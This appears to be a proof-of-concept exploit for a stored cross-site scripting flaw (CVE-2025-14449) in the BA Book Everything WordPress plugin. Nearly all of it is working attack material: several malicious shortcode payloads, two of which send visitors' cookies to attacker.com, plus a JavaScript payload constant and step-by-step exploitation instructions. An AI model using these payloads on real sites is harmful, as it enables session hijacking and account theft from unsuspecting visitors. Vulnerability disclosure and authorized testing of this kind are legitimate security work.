CVE-2025-14449

// CVE-2025-14449 Stored XSS PoC // BA Book Everything Plugin <= 1.8.14 // Attack Vector: babe-search-form shortcode attribute injection // Method 1: Via WordPress Shortcode (Contributor+ role required) // Add this to any WordPress post/page content: /* [babe-search-form search_title='"><script>alert(document.cookie)</script>'] */ // Method 2: Direct payload injection (requires Contributor access) // Attacker can inject via plugin's search form shortcode parameters // Example malicious shortcode: /* [babe-search-form search_title='" onfocus="alert(1)" autofocus="' ] [babe-search-form class='" onmouseover="alert(document.domain)" style="'] [babe-search-form id='123"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] */ // Exploitation Script (for authorized testing only) const exploitPayload = "'><script>new Image().src='https://attacker.com/log?c='+document.cookie;</script><div id='"; // Steps: // 1. Authenticate with Contributor+ account // 2. Create/edit a post or page // 3. Insert malicious shortcode with payload // 4. Publish/update the content // 5. Any user visiting the page will execute the injected script

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